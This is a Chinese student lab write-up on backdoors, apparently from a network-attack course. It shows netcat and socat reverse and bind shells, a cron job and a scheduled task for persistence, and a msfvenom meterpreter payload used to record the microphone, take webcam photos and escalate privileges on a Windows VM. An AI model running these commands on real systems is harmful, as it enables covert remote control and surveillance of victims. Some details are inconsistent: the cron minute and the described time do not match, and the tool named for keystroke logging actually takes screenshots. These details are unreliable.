20155324《网络对抗》Exp2 后门原理与实践

本文介绍如何使用Netcat和Socat等工具实现不同操作系统间的Shell获取及数据传输,涵盖后门工具实践、定时任务设置等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

20155324《网络对抗》Exp2 后门原理与实践

20155324《网络对抗》Exp2 后门原理与实践

常用后门工具实践

Windows获得Linux Shell

  1. 在Windows下,先使用ipconfig指令查看本机IP:
    1072281-20180327153755255-1464695159.png

  2. 使用ncat.exe程序监听本机的5324端口:

1072281-20180327153908313-1011985429.png

  1. 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5324端口:

1072281-20180327154037024-1401996450.png

  1. Windows下成功获得了一个Kalishell,运行ls指令如下:

1072281-20180327154058858-1580669987.png

Linux获得Windows Shell

  1. 过程与之前的类似,在~Kali~环境下用~ifconfig~查看IP:
    1072281-20180327154235581-2119305819.png

  2. 使用~nc~指令监听~5324~端口:
    1072281-20180327154500069-1955785951.png

  3. 在Windows下,使用~ncat.exe~程序的~-e~选项项反向连接Kali主机的~5324~端口:
    1072281-20180327154738421-1698006148.png

  4. Kali下可以看到Windows的命令提示,可以输入Windows命令:
    1072281-20180327154813577-1847462096.png

使用nc传输数据

  1. Windows下监听5324端口:

    1072281-20180327155426810-1432655800.png

  2. Kali下连接到Windows的5324端口:
    1072281-20180327155742605-435539825.png

  3. 建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
    1072281-20180327160119388-1107203419.png

实验内容

使用netcat获取主机操作Shell,cron启动
  1. 先在Windows系统下,监听5324端口:
    1072281-20180327160458971-1515873394.png
  2. Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
    1072281-20180327160802265-2041637355.png

  3. crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行
  4. 在最后一行添加13 * * * * /bin/netcat 192.168.1.103 5324 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5324端口,设置成37的原因是我当时的时间是19点36,为了能立马看到效果,所以我将时间设置在了一分钟以后:

    1072281-20180327161341691-159452932.png

  5. 当时间到了16点13时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了13分时会立马显示出来):

    1072281-20180327161737517-809740355.png

使用socat获取主机操作Shell, 任务计划启动

基础知识
  1. socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。

  2. socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程
  1. 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:1072281-20180327163611368-541282574.png
  2. 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5324 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5324,同时把cmd.exestderr重定向到stdout上:1072281-20180327164106621-465383241.png
  3. 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

1072281-20180327164917011-605138682.png

  1. 此时,在Kali环境下输入指令socat - tcp:192.168.1.103:5324,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5324端口,此时可以发现已经成功获得了一个cmd shell
    1072281-20180327170044971-440591089.png

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.128 LPORT=5324 -f exe > 2015324_backdoor.exe

生成后门程序:
1072281-20180327170816860-798658367.png

通过nc指令将生成的后门程序传送到Windows主机上:

1072281-20180327171019073-700243969.png

1072281-20180327171350527-507514332.png

在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

1072281-20180327173817417-751806587.png

在msf的命令下输入命令use exploit/multi/handler,payload设置命令set payload windows/meterpreter/reverse_tcp,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口

1072281-20180327174256141-674386617.png

Linux使用exploit命令开始监听,此时在Win上执行后门程序。

1072281-20180327174507612-431026314.png

打开Windows上的后门程序:

1072281-20180327174607687-1175895826.png

此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

1072281-20180327174723194-1208831263.png

  • 录音功能:record_mic

1072281-20180327174942665-1821015237.png

  • 拍照功能:webcam_snap

1072281-20180327175152216-38858045.png

1072281-20180327175204570-47180222.png

  • 拍摄视频功能:webcam_stream

1072281-20180327175301442-576567186.png

  • 记录击键功能:screenshot

1072281-20180327175356311-2057368284.png

  • 提权:getuid以及getsystem

1072281-20180327175525121-975353134.png

实验总结与体会

通过本次实验我都惊了!通过电脑直接的控制来实现一些功能,从而达到目的。所以我们要在日常使用电脑的过程中正确的使用,不让居心不轨者有可乘之机。

转载于:https://www.cnblogs.com/wang5324/p/8645655.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值